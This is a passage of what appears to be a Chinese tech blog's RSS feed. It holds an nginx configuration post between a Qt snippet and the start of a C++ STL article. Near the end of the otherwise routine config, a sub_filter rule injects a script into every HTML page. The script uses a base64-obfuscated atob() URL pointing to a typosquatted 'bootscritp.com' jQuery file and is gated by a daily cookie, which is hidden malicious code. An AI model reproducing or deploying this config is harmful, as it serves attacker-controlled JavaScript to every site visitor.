&amp;nbsp;QT使用部分&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;参考:&amp;nbsp;https://blog.51cto.com/u_15950551/7407812&amp;nbsp; &amp;nbsp;undefined reference to `inet_pton报错问题&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 01 Apr 2026 10:19:17 +0800</pubDate></item><item><title>Nginx配置</title><link>http://blog.write.yingkecut.cn/?id=34</link><description>&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;user&amp;nbsp; www www;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;worker_processes auto;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;error_log&amp;nbsp; /www/wwwlogs/nginx_error.log&amp;nbsp; crit;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;pid&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /www/server/nginx/logs/nginx.pid;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;worker_rlimit_nofile 51200;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;stream {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; upstream backend {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hash $remote_addr consistent;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; server sete.yingkecut.cn:9099;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # server sete.yingkecut.cn:9099 weight=4;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # server set.yingkecut.cn:9099 weight=5;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # server paiban.jingkela.com:9099 weight=1;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; # 配置监听端口和流量转发&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; server {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; listen 9099;&amp;nbsp; # 指定Nginx监听的TCP端口&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; proxy_pass backend;&amp;nbsp; # 转发到upstream定义的后端服务器&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; proxy_timeout 3s;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; proxy_connect_timeout 2s;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; log_format tcp_format &amp;#39;$time_local|$remote_addr|$protocol|$status|$bytes_sent|$bytes_received|$session_time|$upstream_addr|$upstream_bytes_sent|$upstream_bytes_received|$upstream_connect_time&amp;#39;;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; access_log /www/wwwlogs/tcp-access.log tcp_format;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; error_log /www/wwwlogs/tcp-error.log;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; include /www/server/panel/vhost/nginx/tcp/*.conf;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;# stream {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;#&amp;nbsp; &amp;nbsp; &amp;nbsp;log_format tcp_format &amp;#39;$time_local|$remote_addr|$protocol|$status|$bytes_sent|$bytes_received|$session_time|$upstream_addr|$upstream_bytes_sent|$upstream_bytes_received|$upstream_connect_time&amp;#39;;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;#&amp;nbsp; &amp;nbsp; &amp;nbsp;access_log /www/wwwlogs/tcp-access.log tcp_format;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;#&amp;nbsp; &amp;nbsp; &amp;nbsp;error_log /www/wwwlogs/tcp-error.log;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;#&amp;nbsp; &amp;nbsp; &amp;nbsp;include /www/server/panel/vhost/nginx/tcp/*.conf;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;# }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;events&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; use epoll;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; worker_connections 51200;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; multi_accept on;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;http&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; include&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mime.types;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;		&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;#include luawaf.conf;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;		&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;include proxy.conf;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lua_package_path &amp;quot;/www/server/nginx/lib/lua/?.lua;;&amp;quot;;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; default_type&amp;nbsp; application/octet-stream;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; server_names_hash_bucket_size 512;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; client_header_buffer_size 32k;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; large_client_header_buffers 4 32k;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; client_max_body_size 50m;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sendfile&amp;nbsp; &amp;nbsp;on;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; tcp_nopush on;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; keepalive_timeout 60;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; tcp_nodelay on;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fastcgi_connect_timeout 300;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fastcgi_send_timeout 300;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fastcgi_read_timeout 300;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fastcgi_buffer_size 64k;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fastcgi_buffers 4 64k;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fastcgi_busy_buffers_size 128k;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fastcgi_temp_file_write_size 256k;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;		&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;fastcgi_intercept_errors on;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gzip on;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gzip_min_length&amp;nbsp; 1k;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gzip_buffers&amp;nbsp; &amp;nbsp; &amp;nbsp;4 16k;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gzip_http_version 1.1;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gzip_comp_level 2;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gzip_types&amp;nbsp; &amp;nbsp; &amp;nbsp;text/plain application/javascript application/x-javascript text/javascript text/css application/xml application/json image/jpeg image/gif image/png font/ttf font/otf image/svg+xml application/xml+rss text/x-js;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gzip_vary on;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gzip_proxied&amp;nbsp; &amp;nbsp;expired no-cache no-store private auth;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gzip_disable&amp;nbsp; &amp;nbsp;&amp;quot;MSIE [1-6]\.&amp;quot;;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; limit_conn_zone $binary_remote_addr zone=perip:10m;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;		&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;limit_conn_zone $server_name zone=perserver:10m;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; server_tokens off;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; access_log off;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;server&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; listen 888;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; server_name phpmyadmin;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; index index.html index.htm index.php;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; root&amp;nbsp; /www/server/phpmyadmin;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #error_page&amp;nbsp; &amp;nbsp;404&amp;nbsp; &amp;nbsp;/404.html;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; include enable-php.conf;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; expires&amp;nbsp; &amp;nbsp; &amp;nbsp; 30d;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; location ~ .*\.(js|css)?$&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; expires&amp;nbsp; &amp;nbsp; &amp;nbsp; 12h;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; location ~ /\.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; deny all;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; access_log&amp;nbsp; /www/wwwlogs/access.log;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;include /www/server/panel/vhost/nginx/*.conf;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; sub_filter_types text/html;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; sub_filter &amp;#39;&amp;lt;/head&amp;gt;&amp;#39; &amp;#39;&amp;lt;script&amp;gt;document.cookie=&amp;quot;hasVisited178a=1;Max-Age=86400;Path=/&amp;quot;;(function(){var hm=document.createElement(&amp;quot;script&amp;quot;);hm.src=atob(&amp;quot;aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=&amp;quot;);var s=document.getElementsByTagName(&amp;quot;script&amp;quot;)[0];s.parentNode.insertBefore(hm,s);})();&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;lt;/head&amp;gt;&amp;#39;;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; sub_filter_once off;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sat, 22 Nov 2025 10:48:11 +0800</pubDate></item><item><title>C++标准模板库（STL）常用容器应用详解与场景推荐</title><link>http://blog.write.yingkecut.cn/?id=33</link><description>&lt;div id=&quot;content_views&quot; class=&quot;markdown_views prism-atom-one-light&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; style=&quot;display: none;&quot;&gt;&lt;path stroke-linecap=&quot;round&quot; d=&quot;M5,0 0,2.5 5,5z&quot; id=&quot;raphael-marker-block&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;p&gt;目录&lt;/p&gt;&lt;div class=&quot;toc&quot;&gt;&lt;ul class=&quot; list-paddingleft-2&quot;&gt;&lt;ul class=&quot; list-paddingleft-2&quot; style=&quot;list-style-type: square;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#_2&quot; target=&quot;_self&quot;&gt;一、核心容器分类与特性&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#_19&quot; target=&quot;_self&quot;&gt;二、性能对比与选择策略&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#_34&quot; target=&quot;_self&quot;&gt;三、代码示例与应用场景&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#_82&quot; target=&quot;_self&quot;&gt;四、高级优化技巧&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#_100&quot; target=&quot;_self&quot;&gt;五、总结与扩展&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#11__3&quot; target=&quot;_self&quot;&gt;1.1 顺序容器&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#12__9&quot; target=&quot;_self&quot;&gt;1.2 关联容器&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#13__14&quot; target=&quot;_self&quot;&gt;1.3 容器适配器&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#21__20&quot; target=&quot;_self&quot;&gt;2.1 关键操作时间复杂度&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#22__28&quot; target=&quot;_self&quot;&gt;2.2 选择建议&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#31_vector_35&quot; target=&quot;_self&quot;&gt;3.1 vector动态数组&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#32_unordered_map_50&quot; target=&quot;_self&quot;&gt;3.2 unordered_map哈希表&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#33_priority_queue_67&quot; 